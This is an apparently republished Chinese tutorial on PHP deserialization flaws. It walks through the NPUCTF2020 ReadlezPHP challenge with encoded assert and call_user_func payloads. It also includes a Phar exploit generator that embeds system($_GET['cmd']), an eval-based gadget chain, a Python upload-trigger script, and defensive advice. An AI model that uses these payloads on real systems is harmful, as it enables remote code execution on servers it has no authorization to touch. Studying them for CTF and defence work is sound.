当前位置: 首页 > news >正文

PHP 反序列化漏洞实战:NPUCTF2020 ReadlezPHP 利用 __destruct 执行任意代码

PHP反序列化漏洞深度剖析:从魔术方法到任意代码执行实战

1. 反序列化漏洞的本质与危害

PHP反序列化漏洞长期位居OWASP Top 10危险漏洞之列,其本质在于程序对用户可控的序列化数据进行了不当的反序列化操作。当攻击者精心构造的恶意序列化数据被unserialize()函数处理时,会触发对象中的魔术方法执行非预期操作。

典型攻击场景

  • 用户输入直接传递给unserialize()
  • 会话数据(PHP Session)的反序列化处理
  • 缓存数据的读取与反序列化
  • 跨服务通信时的数据反序列化

漏洞危害等级矩阵

危害类型影响范围攻击复杂度
RCE服务器完全控制中高
文件操作敏感数据泄露
权限提升业务逻辑绕过

2. 魔术方法的触发机制分析

PHP中与反序列化相关的关键魔术方法包括:

__wakeup() // 反序列化时立即触发 __destruct() // 对象销毁时触发 __toString() // 对象被当作字符串处理时触发

__destruct()为例的典型调用链:

unserialize() -> 创建对象 -> __wakeup() -> [对象使用周期] -> __destruct()

关键特性

  • __destruct()的触发时机具有确定性
  • 方法内通常包含资源释放等敏感操作
  • 参数控制路径可达性高

3. NPUCTF2020 ReadlezPHP漏洞复现

3.1 环境搭建与代码审计

靶机关键代码片段:

class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); // 动态函数调用 } } $ppp = unserialize($_GET["data"]);

漏洞点分析

  1. 用户可控的data参数直接传入unserialize()
  2. __destruct()中存在动态函数调用$b($a)
  3. 未对$b$a进行任何过滤

3.2 两种攻击Payload构造

方案一:assert函数执行
class HelloPhp { public $a = 'phpinfo();'; public $b = 'assert'; } $obj = new HelloPhp(); echo urlencode(serialize($obj));

生成结果

O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
方案二:call_user_func调用
class HelloPhp { public $a = 'phpinfo'; public $b = 'call_user_func'; } $obj = new HelloPhp(); echo urlencode(serialize($obj));

技术对比

方案适用场景限制条件
assert单条语句执行PHP7.2后可能被禁用
call_user_func多参数函数调用需要函数名作为第一个参数

4. 漏洞利用的进阶技巧

4.1 属性数量欺骗

PHP反序列化时的C格式(完整类名)与O格式(对象)处理差异:

// 正常序列化 O:4:"Test":1:{s:1:"a";s:1:"b";} // 属性数量欺骗 O:4:"Test":2:{s:1:"a";s:1:"b";}

绕过技巧

  • 修改序列化字符串中的属性数量
  • 利用__wakeup()中属性检查的缺陷

4.2 Phar协议利用

通过Phar文件触发反序列化:

// 生成恶意phar文件 $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); class Evil { function __destruct() { system($_GET['cmd']); } } $obj = new Evil(); $phar->setMetadata($obj); $phar->stopBuffering();

利用条件

  • 存在文件操作函数如file_exists()
  • 可控制文件名部分内容
  • PHP版本<8.0

5. 防御方案与最佳实践

5.1 输入过滤策略

function safe_unserialize($input) { if (preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $input)) { return unserialize(base64_decode($input)); } throw new Exception('Invalid serialized data'); }

5.2 运行时防护

推荐配置

; php.ini安全配置 disable_functions = assert,system,passthru allow_url_include = Off

5.3 架构层面防护

  1. 使用JSON替代序列化
  2. 实现签名验证机制
  3. 引入白名单类限制

防护效果对比

防护层级实现成本防护效果
输入过滤
运行时
架构设计极高

6. CTF实战中的变种题型

6.1 链式调用漏洞

class A { public $b; function __destruct() { $this->b->action(); } } class B { function action() { eval($_GET['cmd']); } }

利用要点

  • 构造完整的对象调用链
  • 控制每个环节的属性值

6.2 真实环境中的组合利用

某CMS漏洞实例:

  1. 通过文件上传获取Phar文件路径
  2. 利用图片处理函数触发Phar反序列化
  3. 通过__destruct()执行系统命令
# 自动化利用脚本示例 import requests TARGET = 'http://victim.com/upload.php' PHAR = 'exploit.phar' with open(PHAR, 'rb') as f: files = {'file': ('image.jpg', f, 'image/jpeg')} r = requests.post(TARGET, files=files) if r.status_code == 200: print(f'File uploaded to: {r.json()["path"]}') # 触发反序列化...

在实际渗透测试中,反序列化漏洞往往需要结合其他漏洞形成攻击链,这要求安全人员对PHP对象生命周期和魔术方法调用机制有深刻理解。建议开发者在设计涉及序列化的功能时,优先考虑使用JSON等更安全的替代方案,并对必要的反序列化操作实施严格的输入验证和类白名单控制。

http://www.jsqmd.com/news/1140541/

相关文章:

  • PvZ Tools终极指南:植物大战僵尸1.0.0.1051版本完整修改器教程
  • 前端配置 axios/fetch 请求特定海外公开数据接口隔膜报 504 连接超时踩坑记录
  • 终极IPX兼容方案:让90年代经典游戏在现代Windows上重获新生
  • HEIF Utility:Windows用户处理iPhone照片的终极免费解决方案
  • 京东方8.6代AMOLED产线量产,却在三星、苹果高端旗舰订单上接连折戟?
  • 3步配置IPXWrapper:让Windows 10/11完美运行经典游戏联机
  • 从技术展示到商业变现,奇点算力站上 AI 工厂新风口
  • 抖音无水印视频下载完整指南:douyin-downloader一键批量获取教程
  • Seedance2.5本地部署实战:免费AI生图与视频生成全流程
  • 指标告警降噪:报警多了,真正的问题反而没人看
  • 2026年天津统招专升本全日制培训来袭,封闭集训助你上岸!
  • 遥操作触觉引导模型选型:环境参数驱动的实战指南
  • 测试电流选多大才合适
  • Bilibili评论数据采集实战指南:构建完整用户反馈分析管道
  • 《HarmonyOS技术精讲-Core File Kit》第16篇:性能优化——批量操作与并发控制
  • 在Switch上畅享B站:wiliwili第三方客户端完整安装与使用指南
  • HEIF Utility:Windows用户的终极HEIF图片解决方案,快速免费处理iPhone照片
  • 2024年Web安全攻防趋势:供应链攻击、前端框架漏洞与云原生逃逸深度解析
  • 手机号码定位系统:5分钟免费查询地理位置完整指南
  • Python初学者90%都会踩的坑!全网最全报错+逻辑错误避坑指南(无代码纯干货)
  • PHP Phar 反序列化实战:3种常见绕过方式与ThinkPHP 5.1.37 RCE案例复现
  • 进程的结束
  • Layerdivider:AI智能图像分层工具的完整使用指南
  • UBS-atomic高级特性实战指南:延迟释放、递归锁和故障恢复的10个技巧
  • cat-catch浏览器资源嗅探扩展深度解析与高级配置指南
  • Jaeger 生产化部署:Kubernetes 下的高可用与持久化
  • 终极AI图像分层工具:如何将单张图片智能转换为PSD分层文件
  • Codex++安全边界探秘:从模型安全到应用实践
  • 铝箔包装袋给袋机防双袋解决方案——磁感应双张检测器
  • 鸿蒙物理 108 篇 第七十四篇 六维坐标本源体系